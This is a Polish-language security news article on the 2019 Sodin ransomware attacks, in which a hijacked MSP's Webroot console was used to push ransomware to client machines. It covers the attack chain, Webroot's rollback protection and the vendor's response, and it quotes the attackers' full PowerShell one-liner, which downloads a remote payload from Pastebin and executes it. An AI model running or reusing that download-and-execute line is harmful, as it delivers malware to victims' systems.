Usługi IT chroniące działalność gospodarczą od strony technicznej z wykorzystaniem modelu chmury nie są w Polsce tak popularne jak na Zachodzie. Sektor publiczny zazwyczaj koncentruje się na usługach SaaS hostowanych w krajowej infrastrukturze. Jest to wynikiem wymogu przy zamówieniach publicznych, w których jednym z punktów jest przechowywanie danych na terenie państwa. Prywatni przedsiębiorcy nie są skrępowani przez prawo (jeżeli nie świadczą usług dla administracji publicznej), dlatego w statystykach chętniej powierzają bezpieczeństwo w ręce „zaufanego, zewnętrznego partnera”.
Wdrożenie rozwiązania antywirusowego i odhaczenie pozycji w polityce bezpieczeństwa to za mało, aby można było mówić o tzw. compliance. Kto poniesie odpowiedzialność za straty finansowe? Czy istnieje jakaś granica zaufania? Czy klient końcowy ma pewność, że dostawca usług posiada wystarczające kwalifikacje? I w końcu czy używanie złożonego hasła do systemu przechowującego pełną konfigurację klienta wypełnia znamiona dochowania „należytej staranności”?
Ma uprawnienia admina, bo ktoś przejął hasło do konsoli Webroota
Incydent bezpośrednio dotyczy antywirusa Webroot z konsolą dla MSP (Managed Service Provider), czyli dla partnerów obsługujących mniejszych klientów. I już na początku trzeba wyjaśnić, że odpowiedzialnością za wpadkę obarczony jest partner MSP, a nie producent. Temu pierwszemu można zarzucić, że stosował zbyt proste hasło albo zapomniał się wylogować lub nienaturalnie wydłużył czas podtrzymania sesji.
Webroot niestety nie ma pełnoprawnego drugiego składnika logowania (2FA, ang. second-factor authentication), lecz hasło oraz kod bezpieczeństwa. Czy to za mało? Przecież dokładnie tak traktują nas banki z tą różnicą, że do potwierdzania operacji wymaga się dodatkowej autoryzacji. W konsoli Webroota po zalogowaniu się nie trzeba już niczego potwierdzać. Ma się pełny dostęp do ustawień antywirusa, a więc i do uprawnień administratora na końcówce. W związku z tym możliwe jest na przykład tworzenie zaufanych list plików i uruchamiane skryptów, które normalnie byłyby rozpoznane jako złośliwe, ale zostaną potraktowane jako zaufane, jeżeli będą dodane w konsoli do wyjątków.
Z tymi uprawnieniami w konsoli Webroota to też nie jest taka oczywista sprawa. Klienci końcowi mogą mieć przyznane uprawnienia znacznie niższe niż główny administrator lub mogą to być uprawnienia wyłącznie do odczytu. Ujawnienie loginu do konta, które nie ma uprawnień np. do wykonywania krytycznych operacji, jeszcze o niczym nie przesądza. W przypadku tego incydentu przestępcy uzyskali dostęp do konsoli dużego partnera, mającego pod swoją opieką setki mniejszych firm (jedno ze źródeł wspomina o tysiącach klientów).
Oznaczyli złośliwy plik jako bezpieczny
Odbiorcy bezpośredni, którzy kupili rozwiązanie Webroot SecureAnywhere Endpoint Protection i byli „zarządzani” z zewnątrz (outsourcing IT), musieli walczyć z atakiem ransomware zainicjowanym nie ze swojej winy.
Producentem oprogramowania Webroot jest firma z USA. Cechą wyróżniającą produkt jest konsola w chmurze, dzięki której mała firma może oddać zarządzanie bezpieczeństwem w ręce partnera. Zaufanie do dostawcy nie może być bezgraniczne, ponieważ usypia czujność. Przekazywanie dostępu do konsoli poza firmę jest w niektórych środowiskach uznawane za kontrowersyjne, ale przecież ktoś musi monitorować stacje robocze, nawet w tych najmniejszych przedsiębiorstwach. Natomiast kto będzie monitorował monitorującego?
Na Reddicie opublikowano wiadomość o ransomware Sodin, które znalazło się na komputerach klientów końcowych. Przestępcy wykorzystali nietypowy wektor ataku, ponieważ w kilku przypadkach użyli konsoli administratora produktu Webroot. Mniej technicznym użytkownikom wyjaśnijmy raz jeszcze, że jest to antywirus biznesowy, dzięki któremu ktoś z zewnątrz z dowolnego miejsca na świecie może zdalnie świadczyć usługi ochrony komputerów. Małe firmy nie zatrudniają administratorów. Te zadania przejmuje pracownik, który zna się na komputerach spośród zatrudnionych. W związku z tym czasami lepiej ponieść niski miesięczny koszt za usługę IT niż otwierać nowy etat.
Ofiarami ransomware Sodin byli właśnie tacy mali odbiorcy, którzy zaufali swojemu partnerowi. Wiadomo już, że były to trzy duże firmy. Jedna z nich to IT By Design. Pozostałe dwie nie są znane.
W atakach wykorzystujących dostawców usług zarządzanych, ransomware Sodin przedostaje się na urządzenie ofiary na różne sposoby. Atakujący przedostali się do infrastruktury dostawców usług zarządzanych poprzez połączenie RDP, zwiększyli uprawnienia, dezaktywowali rozwiązania zabezpieczające i kopie zapasowe, i wreszcie pobrali na komputery klienckie ransomware. Czasami atakujący dostarczali trojana poprzez konsolę zdalnego dostępu Webroot i Kaseya: na jednym ze serwerów hacker zauważył też, że administrator był zalogowany do konsoli Webroota. Wykorzystał panel internetowy do pobrania ładunku na zarządzane komputery z zainstalowanym agentem. Nie było to nic finezyjnego. To zwykły skrypt w PowerShell pobierający coś z Pastebin (w tej chwili to „coś”, czyli zapewne dropper, jest niedostępny: hxxps://pastebin.com/raw/knCUArF5):
If($ENV:PROCESSOR_ARCHITECTURE -contains 'AMD64'){ Start-Process -FilePath "$Env:WINDIRSysWOW64WindowsPowerShellv1.0powershell.exe" -argument "IEX ((new-object net.webclient).downloadstring('https://pastebin.com/raw/knCUArF5'));Invoke-PDWQVTCUTOXS;Start-Sleep -s 1000000;"}else{ IEX ((new-object net.webclient).downloadstring('https://pastebin.com/raw/knCUArF5'));Invoke-PDWQVTCUTOXS;Start-Sleep -s 1000000; }
Więcej informacji o ransomware już podaje firma Kaspersky. Z analizy ekspertów wynika, że napastnicy uzyskali dostęp do platformy WebLogic dzięki luce CVE-2019-2725. Następnie wykonali polecenia w interpreterze poleceń PowerShell na podatnym serwerze Oracle WebLogic. W ten sposób mogli przesłać na serwer droppera, który z kolei mógł zainstalować ransomware Sodin. Łaty dla tej luki zostały udostępnione w kwietniu, jednak pod koniec czerwca odkryto podobną lukę — CVE-2019-2729.
Jak działa Webroot? Czy potrafi przywrócić pliki po zaszyfrowaniu?
Pomimo niedostępnych szczegółów podejrzewamy, że dodano sumę kontrolną szkodliwego oprogramowania do wyjątków. Zadbano, aby Webroot zaufał nowej aplikacji — aplikacji uruchamiającej PowerShell (co już jest podejrzane); aplikacji pobierającej dodatkowy ładunek, nie posiadającej podpisu cyfrowego, korzystającej z określonych funkcji Windows API charakterystycznych dla złośliwego oprogramowania, i w końcu funkcji szyfrującej pliki. Tych wskaźników jest zbyt wiele, aby nowoczesny antywirus nie zablokował szyfrowania na którymkolwiek z tych etapów. Jeśli plik dodano do „zaufanych”, to jest to całkowicie poprawna reakcja oprogramowania antywirusowego.
Webroot to jeden z liderów w amerykańskim segmencie SMB dostarczający rozwiązania do ochrony stacji roboczych poniżej 1000 licencji. Firma ma siedzibę w Stanach Zjednoczonych i została założona w 1997 roku przez dwóch byłych pracowników NSA. Pracownicy tej firmy specjalizują się w dostarczaniu innowacyjnych rozwiązań z zakresu ochrony urządzeń końcowych dla milionów użytkowników z całego świata. Webroot posiada ponad 14 000 partnerów na całym świecie. Zabezpiecza ponad 300 000 firm z całego globu (także w Polsce), zatrudnia ponad 600 pracowników oraz jest zainstalowany na milionach komputerów.
Produkty Webroot w pełni wykorzystują potencjał chmury obliczeniowej. Agent antywirusowy nie pobiera sygnatur na dysk lokalny (jego waga po instalacji to około 2MB), a samo skanowanie plików odbywa się na serwerach producenta, dzięki czemu udało się osiągnąć tak dobrą wydajność. Z kolei ochrona OFFLINE wykorzystuje dobrze znane techniki proaktywne, które do walki ze złośliwym i podejrzanym oprogramowaniem wcale nie potrzebują dostępu do informacji o zagrożeniach w chmurze Webroot Intelligence Network.
Załóżmy, że komputer z powodu awarii sieci nie ma dostępu do Internetu. W jaki sposób Webroot zabezpiecza lokalne pliki użytkownika i chroni system przed infekcją? Podczas ochrony w czasie rzeczywistym w trybie online, wszystkie pliki na dysku są oznaczane przez Webroota jako bezpieczne, złośliwe lub nieznane. Pliki niebezpieczne oczywiście wymuszą alert antywirusowy i zostaną usunięte, natomiast pliki nieznane będą obserwowane przez Webroota na podstawie parametru DWELL TIME. Wszystkie akcje wykonywane przez nieznane pliki, tj. tworzenia / modyfikacji plików / kluczy rejestru, będą monitorowane przez Webroota i zapisane w lokalnym dzienniku zdarzeń aplikacji antywirusowej. Jeżeli algorytm behawioralny odpowiedzialny za analizę zachowania pliku / aplikacji w systemie uzna, że aplikacja wykonuje podejrzane działanie, a jej wzorce zachowania będą pasowały do potencjalnie niebezpiecznego oprogramowania, to Webroot zablokuje taki plik / proces i na podstawie zapisanych zdarzeń w dzienniku lokalnym wycofa wszystkie wprowadzone szkodliwe zmiany w systemie za pomocą modułu Rollback.
Różnica pomiędzy ochroną offline a online jest diametralna. Kiedy Webroot nie będzie dysponował dostępem do chmury Webroot Intelligence Network, w której zgromadzone są informacje o zagrożeniach, będzie musiał radzić sobie inaczej. Wszystkie nowe pliki, które znajdą się na dysku (a nie były wcześniej przez Webroota sprawdzone) będą traktowane jako potencjalnie niebezpieczne, nieznane. Nawet zaufane instalatory lub aplikacje tzw. „portable” będą monitorowane i uruchamiane w bezpiecznym środowisku sandbox. Dzięki takiemu rozwiązaniu producentowi w sposób proaktywny udało się podejść do zagadnienia ochrony offline, a więc do sytuacji, kiedy typowy „antywirus w chmurze” nie może odwołać się do serwerów z informacjami o zagrożeniach.
Poza tym Webroot jest jednym z najlżejszych antywirusów na świecie i jest polecany przez AVLab w zestawieniu najlepszych wyspecjalizowanych pakietów antywirusowych na rok 2019.
Reakcja na incydent: przywrócenie zmian i poinformowanie klientów
Zaszyfrowało mi pliki. Co zrobić? Jeśli ma się dostęp do konsoli administratora w chmurze, to niektóre zmiany można odwrócić. Webroot posiada tzw. Rollback. W przypadku produktu dla użytkowników domowych to nie zadziała, co już obserwowaliśmy w naszych testach nie raz i nie dwa.
Ofiara tego ataku, czyli firma Firma IT By Design, potwierdziła, że w większości przypadków zmiany udało się przywrócić, chociaż nie wiadomo czy dzięki kopii zapasowej, czy dzięki antywirusowi Webroot. Podobno zapłacono 150 000 dolarów okupu w Bitcoinach za odszyfrowanie plików. Koszty poniósł operator skompromitowanego serwera, do którego dostęp uzyskali hackerzy.
Pracownicy Webroota zareagował lepiej niż trzy zaatakowane firmy świadczące usługi dla swoich klientów. Rozesłali wiadomość e-mail do wszystkich partnerów. Automatycznie wylogowali wszystkich z konsoli. I obowiązkowo wdrożyli logowanie wspierające tzw. Secure Code. Wcześniej było to opcjonalne* (nie mamy co do tego pewności). Brawo Webroot!
Niestety wybrany rodzaj 2FA nie wspiera zewnętrznych aplikacji. Możliwe jest ustawienie wyłącznie drugiego hasła. Przy logowaniu do konsoli system poprosi o wpisanie losowych liter albo cyfr z tego hasła. Działa to dokładnie tak samo jak przy logowaniu do banku, gdzie wpisujemy losowe znaki z hasła na odpowiedniej pozycji.
Morał z tego taki, że trzeba używać drugiego składnika do logowania. My polecamy aplikację mobilną FreeOTP ze skanerem kodów QR, która jest dostępna dla Androida oraz iOS. Można ją wykorzystać niemal do dowolnych usług, które wspierają generowanie tymczasowych kodów przez aplikację mobilną. Można tak logować się np. do serwisów społecznościowych, konta na GitLabie, konfiguracji stref DNS w CloudFlare i wiele więcej.
Nauczkę dostali dostawcy usług IT. Skoro mają bezpośredni dostęp do sieci swoich klientów i mogą przechowywać dane we własnej infrastrukturze, to powinni traktować to śmiertelnie poważnie. Natomiast klienci końcowi powinni z rozwagą dobierać partnerów, którym chcą oddawać swoje bezpieczeństwo.
